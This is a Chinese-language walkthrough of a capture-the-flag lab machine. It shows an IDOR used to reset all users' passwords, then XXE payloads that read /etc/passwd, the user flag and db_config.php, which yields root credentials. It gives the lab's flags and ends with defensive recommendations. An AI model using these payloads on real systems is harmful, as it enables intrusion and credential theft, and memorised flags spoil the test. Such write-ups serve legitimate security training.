地址: https://labs.thehackerslabs.com/machine/106
过程
nmap 扫描,22,80
访问 192.168.0.9 web,跳转 http://lacasadeljamon.thl/
,修改 /ect/hosts 解析成功
目录扫描
login.php register.php db_config.php
比较敏感
先随便注册一个 admin 账户,密码 admin
进入后,有修改密码功能
修改密码,抓包
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| POST /settings.php?user_id=63 HTTP/1.1
Host: lacasadeljamon.thl
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 69
Origin: http://lacasadeljamon.thl
Connection: keep-alive
Referer: http://lacasadeljamon.thl/settings.php?user_id=63
Cookie: PHPSESSID=7pth5dnm7uh6v98cnu77005udl; id=63
Upgrade-Insecure-Requests: 1
Priority: u=0, i
new_password=admin&confirm_password=admin&user_id=63&change_password=
|
可以看到是根据 user id 来进行用户信息确认的
爆破 user id 1-100,所有人密码全部修改一遍
同时看到 profile.php 显示个人信息,我当前的 role 是 user
而 profile.php 的信息查询也是基于 id 的,爆破,正则过滤找到 role:admin
![[Pasted image 20250725041136.png]]
(这里的正则匹配要 bp 专业版也可以使用,我是手动看的)
找到 admin 的包
1 2 3 4 5 6 7
| <div class="profile-container"> <h2>Perfil de usuario</h2> <p><strong>Nombre de usuario:</strong> admin_user</p> <p><strong>Nombre completo:</strong> Admin User</p> <p><strong>Compañía:</strong> AdminCompany</p> <p><strong>Correo electrónico:</strong> admin@example.com</p> <p><strong>Rol:</strong> admin</p>
|
拿到 admin_user:admin
进入后台界面,可以看到多了添加事件的功能,添加的事件可以在 /calendar.php 里返回回显
1 2 3 4 5 6 7
| Evento Añadido
Fecha: 2025-07-11
Título: a
Descripción: a
|
那么这一块肯定有 xss,不过我们的目的是通过这个回显点进行数据外带或者rce
抓包看请求
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| POST /calendar.php HTTP/1.1
Host: lacasadeljamon.thl
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 39
Origin: http://lacasadeljamon.thl
Connection: keep-alive
Referer: http://lacasadeljamon.thl/calendar.php
Cookie: PHPSESSID=7pth5dnm7uh6v98cnu77005udl; id=51
Upgrade-Insecure-Requests: 1
Priority: u=0, i
fecha=2025-07-17&titulo=a&descripcion=a
|
1
| <h3>Evento Añadido</h3><p><strong>Fecha:</strong> 2025-07-17</p><p><strong>Título:</strong> a</p><p><strong>Descripción:</strong> a</p>
|
可以看到输入的字段都在响应中被解析并输出
如果添加不存在的字段呢
whoami:hacker
回显里并没有显示,说明其只接受和解释原字段。
既然这里会进行格式化解析并回显,尝试传入 xml 数据进行 xxe
Content-Type: application/xml
修改 Content-Type 然后发包显示 Error al procesar XML.
那么服务器就可以解析 xml 数据
注意,这里是在原参数的基础上进行修改 xml 数据才能保证参数被解析并回显在正确位置
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| Content-Type: application/xml
<!DOCTYPE root [
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<root>
<fecha>2025-07-17</fecha>
<título></título>
<descripcion>&file;</descripcion>
</root>
|
得到 /etc/passwd
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin _apt:x:42:65534::/nonexistent:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin messagebus:x:100:107::/nonexistent:/usr/sbin/nologin sshd:x:101:65534::/run/sshd:/usr/sbin/nologin mysql:x:102:110:MySQL Server,,,:/nonexistent:/bin/false jabugo:x:1001:1001::/home/jabugo:/bin/bash
|
user flag
<!ENTITY file SYSTEM "file:///home/jabugo/user.txt">
1831d1147f148c49c09649c6e8cca1d0
之前目录扫描时有一个 db_config.php,浏览器访问后无法查看源码,用 xxe 读取出来
<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=db_config.php">
base64 解密得到
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php $servername = "localhost"; $username = "root"; $password = "Orochimaru777###"; $dbname = "foodstore";
// Crear la conexión $conn = new mysqli($servername, $username, $password, $dbname);
// Comprobar si la conexión fue exitosa if ($conn->connect_error) { die("Conexión fallida: " . $conn->connect_error); } ?>
|
拿到 root 凭证
root:Orochimaru777###
获取 root flag
1 2
| root@Thehackerslabs-Lacasadeljamon:~# cat root.txt 3f3fa2341600d9f92fea3cdb2aab5fa4
|
flag
1831d1147f148c49c09649c6e8cca1d0
3f3fa2341600d9f92fea3cdb2aab5fa4
渗透测试过程简要总结
修改 /etc/hosts ,更新 ip 解析到域名
手工测试 web 界面,注册登录后,修改密码处存在水平越权修改他人密码
用户信息基于 id 查询,可爆破
添加日程功能回显处存在 xxe
数据库信息泄露
信息收集:
- 使用
nmap
扫描发现开放 22 (SSH) 和 80 (HTTP) 端口
- 通过修改
/etc/hosts
解析域名 lacasadeljamon.thl
Web应用测试:
- 发现敏感文件
login.php
, register.php
, db_config.php
- 注册普通用户并利用 IDOR (Insecure Direct Object Reference) 漏洞:
- 爆破
user_id
修改所有用户密码
- 通过
profile.php
找到管理员账户 (admin_user:admin
)
权限提升:
- 管理员后台发现事件添加功能
- 利用 XXE (XML External Entity) 漏洞:
- 读取
/etc/passwd
获取系统用户信息
- 读取
db_config.php
获取数据库凭证 (root:Orochimaru777###
)
- 通过 SSH 使用获取的 root 凭证登录系统
获取 Flag:
- 用户 Flag:
1831d1147f148c49c09649c6e8cca1d0
- Root Flag:
3f3fa2341600d9f92fea3cdb2aab5fa4
防御措施建议
1. 修复 IDOR 漏洞
- 实施访问控制:校验当前用户是否有权修改目标用户数据
- 使用不可预测的标识符:如 UUID 替代连续数字 ID
- 服务器端校验:始终在服务端验证用户权限
2. 防止 XXE 攻击
禁用外部实体:
libxml_disable_entity_loader(true);
使用安全的 XML 解析器:如 defusedxml
(Python)
输入验证:拒绝包含 <!DOCTYPE
或 <!ENTITY
的 XML
3. 数据库安全
- 使用最小权限原则:创建专用数据库用户,避免使用 root
- 加密敏感配置:如使用环境变量存储数据库凭证
- 定期轮换凭证:特别是发现泄露后立即更换
4. 其他加固措施
- 禁用目录列表:防止
db_config.php
等文件被枚举
- 实施 WAF:拦截 XXE、SQLi 等常见攻击
- 日志监控:记录异常访问尝试(如频繁修改密码请求)
5. 安全开发实践
- 代码审计:定期检查代码中的安全漏洞
- 渗透测试:上线前进行专业安全测试
- 安全意识培训:提升开发人员的安全编码能力